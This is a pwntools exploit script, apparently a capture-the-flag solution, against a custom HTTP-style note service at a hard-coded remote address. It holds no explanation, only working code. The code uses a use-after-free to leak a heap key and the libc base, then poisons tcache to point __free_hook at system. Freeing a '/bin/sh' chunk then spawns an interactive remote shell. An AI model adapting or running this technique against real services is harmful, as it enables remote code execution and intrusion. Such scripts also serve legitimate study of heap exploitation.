1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94
| from pwn import *
io = remote('210.30.97.133',28094) libc = ELF('./libc.so') context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P'] context.arch = 'amd64' context.os = 'linux'
def login(): io.recvuntil('Waiting Package...') payload = "DEV / HTPP/1.1\r\nrotartsinimda\x00" io.sendline(payload)
def create(idx,size,text): io.recvuntil('Waiting Package...') payload = "POST / HTTP/1.1\r\n"+'\x01'+'&'+str(idx)+'&'+str(size)+'&'+ text io.sendline(payload) def free(idx): io.recvuntil('Waiting Package...') payload = "POST / HTTP/1.1\r\n"+'\x04'+'&'+str(idx) io.sendline(payload) def show(idx): io.recvuntil('Waiting Package...') payload = "POST / HTTP/1.1\r\n"+'\x03'+'&'+str(idx) io.sendline(payload) def edit(idx,text): io.recvuntil('Waiting Package...') payload = "POST / HTTP/1.1\r\n"+'\x02'+'&'+str(idx)+'&'+ text io.sendline(payload) def p(): gdb.attach(proc.pidof(io)[0])
def pwn(): login() for i in range(7): create(i,0x90,'aaaa')
free(0) show(0) io.recvuntil('Content-Length: 5\n') key = u64(io.recv(5).ljust(8,b'\x00')) heapbase = key<<12 create(7,0x420,'aaaa') create(8,0x30,'bbbb') free(7) create(9,0x430,'cc') show(7) io.recvuntil('Content-Length: 6\n') libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1e0ff0 success('libc_base-->'+hex(libc_base)) success("key-->"+hex(key)) success("heapbase-->"+hex(heapbase)) free_hook = libc_base + libc.symbols['__free_hook'] system_addr = libc_base + libc.symbols['system'] create(11,0x30,'a') create(12,0x30,'b') create(13,0x30,'c') free(11) free(12) edit(12,p64(free_hook^key)) create(14,0x30,'/bin/sh') create(15,0x30,p64(system_addr)) free(14) success('free_hook-->'+hex(free_hook)) success('system-->'+hex(system_addr)) io.interactive() if __name__ == '__main__': pwn()
|